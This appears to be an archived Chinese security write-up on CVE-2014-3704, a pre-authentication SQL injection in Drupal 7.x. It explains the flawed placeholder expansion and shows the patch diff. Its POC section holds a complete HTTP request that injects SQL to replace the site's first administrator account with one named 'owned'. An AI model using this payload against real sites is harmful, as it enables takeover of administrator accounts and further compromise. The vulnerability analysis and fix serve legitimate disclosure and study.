# Drupal - pre Auth SQL Injection Vulnerability

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-10-16T03:33:00Z
Canonical: https://wepostx.com/topics/594

> 乌云历史资料归档
>
> **原始作者：** 爱小狐狸的小螃蟹
> **原始编号：** superkieran-wooyundrops:365
> **原始发布时间：** 2014-10-16 11:33
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

## 0x00 背景

```text
影响版本：7.0 到 7.31 危害：非登录状态SQL注入，可造成代码执行。 风险：高危 厂商状态：Drupal的7.32修复此漏洞 CVE：CVE-2014-3704
```

## 0x01 细节

Drupal在所有的SQL查询语句当中都是用的预编译来处理。
为了处理IN语句，有一个expandArguments函数来展开数组。

```text
#!php protected function expandArguments(&$query, &$args) { $modified = FALSE; // If the placeholder value to insert is an array, assume that we need // to expand it out into a comma-delimited set of placeholders. foreach (array_filter($args, 'is_array') as $key => $data) { $new_keys = array(); foreach ($data as $i => $value) { // This assumes that there are no other placeholders that use the same // name. For example, if the array placeholder is defined as :example // and there is already an :example_2 placeholder, this will generate // a duplicate key. We do not account for that as the calling code // is already broken if that happens. $new_keys[$key . '_' . $i] = $value; } // Update the query with the new placeholders. // preg_replace is necessary to ensure the replacement does not affect // placeholders that start with the same exact text. For example, if the // query contains the placeholders :foo and :foobar, and :foo has an // array of values, using str_replace would affect both placeholders, // but using the following preg_replace would only affect :foo because // it is followed by a non-word character. $query = preg_replace('#' . $key . 'b#', implode(', ', array_keys($new_keys)), $query); // Update the args array with the new placeholders. unset($args[$key]); $args += $new_keys; $modified = TRUE; } return $modified; }
```
该函数假定它被调用时是没有key的。例如：

```text
db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));
```
执行的SQL语句为：

```text
SELECT * from users where name IN (:name_0, :name_1)
```
通过参数传入name_0= user1，name_1=user2。
那么问题来了，如果带入数组当中有key并且不是整数呢。例如：

```text
db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));
```
执行SQL语句为：

```text
SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1
```
参数：name_test=user2。
由于Drupal使用PDO，因此可以多语句查询。所以这个SQL注入向数据库里插入任意数据，下载或者修改存在的数据，甚至drop掉整个数据库。
攻击者可以通过向数据库里插入任意的数据，利用Drupal的特性执行PHP代码。

## 0x02 修复方案

```text
#!diff diff --git a/includes/database/database.inc b/includes/database/database.inc index f78098b..01b6385 100644 --- a/includes/database/database.inc +++ b/includes/database/database.inc @@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO { // to expand it out into a comma-delimited set of placeholders. foreach (array_filter($args, 'is_array') as $key => $data) { $new_keys = array(); - foreach ($data as $i => $value) { + foreach (array_values($data) as $i => $value) { // This assumes that there are no other placeholders that use the same // name. For example, if the array placeholder is defined as :example // and there is already an :example_2 placeholder, this will generate
```

## 0x03 POC

有人在pastebin上放出了把原来id为1的管理，替换成名字为owned，密码是thanks的管理员。

```text
POST /drupal-7.31/?q=node&destination=node HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/drupal-7.31/ Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 231 name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in
```

## Replies
